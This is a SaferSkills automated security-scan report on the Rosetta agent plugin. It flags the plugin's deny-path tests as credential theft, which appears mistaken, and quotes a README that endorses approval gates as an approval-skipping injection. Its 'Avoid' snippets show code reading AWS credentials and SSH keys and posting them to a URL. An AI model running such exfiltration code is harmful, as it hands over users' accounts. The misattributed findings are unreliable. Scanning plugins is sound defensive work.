Rosetta— plugin

Rosetta — independently scanned and version-tracked by SaferSkills.

by griddynamics·Plugin·github.com/griddynamics/rosetta

Is Rosetta safe to install?

SaferSkills independently audited Rosetta (Plugin) and scored it 15/100 (red). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 8 high-severity and 1 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.

Score
15/100
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↑ +0 since first scan (15 → 15)Re-scan~30s
Latest scan
ScannedJun 26, 2026 · 30d ago
Scans run1 over 90 days
Detectors55 checks · 5 categories
Findings1 warnings · 8 high
EngineSaferSkills 2b638c6
View methodology →
SaferSkills installs
This week0
This month0
All time0
CategoryWeightCategory scoreContribution
Securityprompt, exec, net, exfil, eval
35%
0
0.0 pts
Supply chainhash, typosquat, maintainer, lockfile
20%
100
20.0 pts
Maintenancestaleness, pinning, CI
15%
100
15.0 pts
TransparencySKILL.md, perms, README
15%
100
15.0 pts
Communityinstalls, verify, response
15%
100
15.0 pts

Findings & checks · 9 flagged

Securityscore 0 · 9 findings
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/hooks/tests/dangerous-actions.test.ts×5
CRITICALfull cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (test('/home/user/.aws/credentials → deny', () =>…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/hooks/tests/dangerous-actions.test.ts· typescript
228});
229 
230test('/home/user/.aws/credentials → deny', () => {
231const r = evaluateDangerous(writeCtx('/home/user/.aws/credentials', '[default]'));
232expect(r?.kind).toBe('deny');
Occurrences
5 occurrences · first at L230, also L231, L297 +2 more
Show all 5 locations
Line
File
L230
src/hooks/tests/dangerous-actions.test.ts
L231
src/hooks/tests/dangerous-actions.test.ts
L297
src/hooks/tests/dangerous-actions.test.ts
L315
src/hooks/tests/dangerous-actions.test.ts
L661
src/hooks/tests/dangerous-actions.test.ts
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha25602b5f84eeada8b8crubric 365aacaView on GitHub
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · src/hooks/tests/dangerous-actions.test.ts×3
HIGHSSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header (const r = evaluateDangerous(writeCtx('/proj/key.…). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerptsrc/hooks/tests/dangerous-actions.test.ts· typescript
272 
273test('content with PEM private key → deny (inline-private-key)', () => {
274const r = evaluateDangerous(writeCtx('/proj/key.pem', '-----BEGIN RSA PRIVATE KEY-----\nMII.
… (6 chars elided on L274)
275expect(r?.kind).toBe('deny');
276expect((r as {kind:'deny';reason:string}).reason).toContain('inline-private-key');
Occurrences
3 occurrences · first at L274, also L470, L475
Show all 3 locations
Line
File
L274
src/hooks/tests/dangerous-actions.test.ts
L470
src/hooks/tests/dangerous-actions.test.ts
L475
src/hooks/tests/dangerous-actions.test.ts
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha256d4c78a76431cc26erubric 365aacaView on GitHub
MEDIUMInstruction telling the agent not to ask for approvalSS-SKILL-INJECT-DONT-ASK-01 · Prompt injection · README.md
MEDIUMit fires on intent; the real damage depends on the host agent's own approval-gating.
Why it matters

The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.

The exact value spotted
excerptREADME.md· markdown
103Rosetta instructions require the agent to: critically review every user request before execu
… (105 chars elided on L103)
104 
1053. **Human-in-the-loop at decision points, not after the damage.** AI coding agents fully an
… (108 chars elided on L105)
106 
107Rosetta workflows define approval gates at critical decision points: after specs, after plan
… (105 chars elided on L107)
Occurrences
1 occurrence · at L105
How to fix
Remove the approval-skipping instruction, or scope it narrowly to a specific safe, reversible action.
  1. Delete blanket "don't ask / no need to confirm" directives from the skill.
  2. If the skill is a genuine autonomous job, restrict the opt-out to a named non-destructive action rather than all actions.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-DONT-ASK-01sha25614b7852251bf4666rubric 365aacaView on GitHub
Supply chainscore 100 · 0 findings
All supply chain checks passedNo findings in this category for the latest scan.pass
Maintenancescore 100 · 0 findings
All maintenance checks passedNo findings in this category for the latest scan.pass
Transparencyscore 100 · 0 findings
All transparency checks passedNo findings in this category for the latest scan.pass
Communityscore 100 · 0 findings
All community checks passedNo findings in this category for the latest scan.pass
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